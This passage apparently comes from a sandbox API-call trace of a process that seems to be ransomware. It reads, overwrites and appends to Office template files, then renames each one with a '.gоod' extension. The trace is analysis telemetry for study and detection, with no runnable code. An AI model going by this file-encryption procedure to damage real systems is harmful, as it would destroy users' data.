dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0246.048] GetFileType (hFile=0x834) returned 0x1 [0246.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0246.048] GetFileType (hFile=0x834) returned 0x1 [0246.048] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x9fc51 [0246.048] WriteFile (in: hFile=0x834, lpBuffer=0x3816440*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3816440*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0246.049] CloseHandle (hObject=0x834) returned 1 [0246.049] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", lpFilePart=0x0) returned 0x48 [0246.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0246.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0246.049] GetFileType (hFile=0x834) returned 0x1 [0246.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0246.050] GetFileType (hFile=0x834) returned 0x1 [0246.050] ReadFile (in: hFile=0x834, lpBuffer=0x3818e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3818e80*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0248.105] CloseHandle (hObject=0x834) returned 1 [0248.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", lpFilePart=0x0) returned 0x48 [0248.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0248.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0248.106] GetFileType (hFile=0x834) returned 0x1 [0248.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0248.106] GetFileType (hFile=0x834) returned 0x1 [0248.106] WriteFile (in: hFile=0x834, lpBuffer=0x323cc18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x323cc18*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0248.106] CloseHandle (hObject=0x834) returned 1 [0248.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", lpFilePart=0x0) returned 0x48 [0248.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx.gоod", lpFilePart=0x0) returned 0x4d [0248.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0248.106] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9017d637, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9fc61)) returned 1 [0248.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0248.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx.gоod")) returned 1 [0248.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", lpFilePart=0x0) returned 0x43 [0248.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0248.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), fInfoLevelId=0x0, lpFileInformation=0x38284e0 | out: lpFileInformation=0x38284e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x2aea)) returned 1 [0248.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0248.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", lpFilePart=0x0) returned 0x43 [0248.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0248.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0248.109] GetFileType (hFile=0x834) returned 0x1 [0248.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0248.109] GetFileType (hFile=0x834) returned 0x1 [0248.109] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0248.109] ReadFile (in: hFile=0x834, lpBuffer=0x38288e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x38288e8*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0248.110] CloseHandle (hObject=0x834) returned 1 [0248.110] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", lpFilePart=0x0) returned 0x43 [0248.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0248.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0248.110] GetFileType (hFile=0x834) returned 0x1 [0248.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0248.110] GetFileType (hFile=0x834) returned 0x1 [0248.110] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x2aea [0248.111] WriteFile (in: hFile=0x834, lpBuffer=0x3829b78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3829b78*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0248.401] CloseHandle (hObject=0x834) returned 1 [0248.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", lpFilePart=0x0) returned 0x43 [0248.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0248.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0248.401] GetFileType (hFile=0x834) returned 0x1 [0248.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0248.402] GetFileType (hFile=0x834) returned 0x1 [0248.402] ReadFile (in: hFile=0x834, lpBuffer=0x3735d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3735d60*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0249.694] CloseHandle (hObject=0x834) returned 1 [0249.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", lpFilePart=0x0) returned 0x43 [0249.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0249.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0249.695] GetFileType (hFile=0x834) returned 0x1 [0249.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0249.695] GetFileType (hFile=0x834) returned 0x1 [0249.695] WriteFile (in: hFile=0x834, lpBuffer=0x36edfa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36edfa0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0249.695] CloseHandle (hObject=0x834) returned 1 [0249.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX", lpFilePart=0x0) returned 0x43 [0249.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX.gоod", lpFilePart=0x0) returned 0x48 [0249.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0249.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x910b8292, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2afa)) returned 1 [0249.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0249.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx.gоod")) returned 1 [0249.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", lpFilePart=0x0) returned 0x43 [0249.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0249.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), fInfoLevelId=0x0, lpFileInformation=0x37de078 | out: lpFileInformation=0x37de078*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44ff)) returned 1 [0249.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0249.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", lpFilePart=0x0) returned 0x43 [0249.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0249.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0249.697] GetFileType (hFile=0x834) returned 0x1 [0249.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0249.697] GetFileType (hFile=0x834) returned 0x1 [0249.697] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0249.697] ReadFile (in: hFile=0x834, lpBuffer=0x37de480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x37de480*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0249.699] CloseHandle (hObject=0x834) returned 1 [0249.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", lpFilePart=0x0) returned 0x43 [0249.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0249.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0249.699] GetFileType (hFile=0x834) returned 0x1 [0249.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0249.699] GetFileType (hFile=0x834) returned 0x1 [0249.699] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x44ff [0249.699] WriteFile (in: hFile=0x834, lpBuffer=0x37e0b40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37e0b40*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0249.700] CloseHandle (hObject=0x834) returned 1 [0249.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", lpFilePart=0x0) returned 0x43 [0249.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0249.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0249.701] GetFileType (hFile=0x834) returned 0x1 [0249.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0249.701] GetFileType (hFile=0x834) returned 0x1 [0249.701] ReadFile (in: hFile=0x834, lpBuffer=0x37e2fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x37e2fc8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0249.997] CloseHandle (hObject=0x834) returned 1 [0249.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", lpFilePart=0x0) returned 0x43 [0249.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0249.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0249.997] GetFileType (hFile=0x834) returned 0x1 [0249.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0249.997] GetFileType (hFile=0x834) returned 0x1 [0249.997] WriteFile (in: hFile=0x834, lpBuffer=0x37a3e88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x37a3e88*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0249.997] CloseHandle (hObject=0x834) returned 1 [0249.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx", lpFilePart=0x0) returned 0x43 [0249.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx.gоod", lpFilePart=0x0) returned 0x48 [0249.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0249.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9138cf46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450f)) returned 1 [0249.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0249.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx.gоod")) returned 1 [0249.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", lpFilePart=0x0) returned 0x49 [0249.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0249.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x392bf20 | out: lpFileInformation=0x392bf20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf18)) returned 1 [0249.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0249.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", lpFilePart=0x0) returned 0x49 [0249.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0249.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0250.000] GetFileType (hFile=0x834) returned 0x1 [0250.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.000] GetFileType (hFile=0x834) returned 0x1 [0250.000] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0250.000] ReadFile (in: hFile=0x834, lpBuffer=0x392c358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x392c358*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0250.020] CloseHandle (hObject=0x834) returned 1 [0250.020] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", lpFilePart=0x0) returned 0x49 [0250.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0250.021] GetFileType (hFile=0x834) returned 0x1 [0250.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.021] GetFileType (hFile=0x834) returned 0x1 [0250.021] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xcf18 [0250.021] WriteFile (in: hFile=0x834, lpBuffer=0x3939f80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3939f80*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0250.023] CloseHandle (hObject=0x834) returned 1 [0250.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx", lpFilePart=0x0) returned 0x49 [0250.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0250.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0250.024] GetFileType (hFile=0x834) returned 0x1 [0250.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0250.024] GetFileType (hFile=0x834) returned 0x1 [0250.024] ReadFile (in: hFile=0x834, lpBuffer=0x3941d50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: 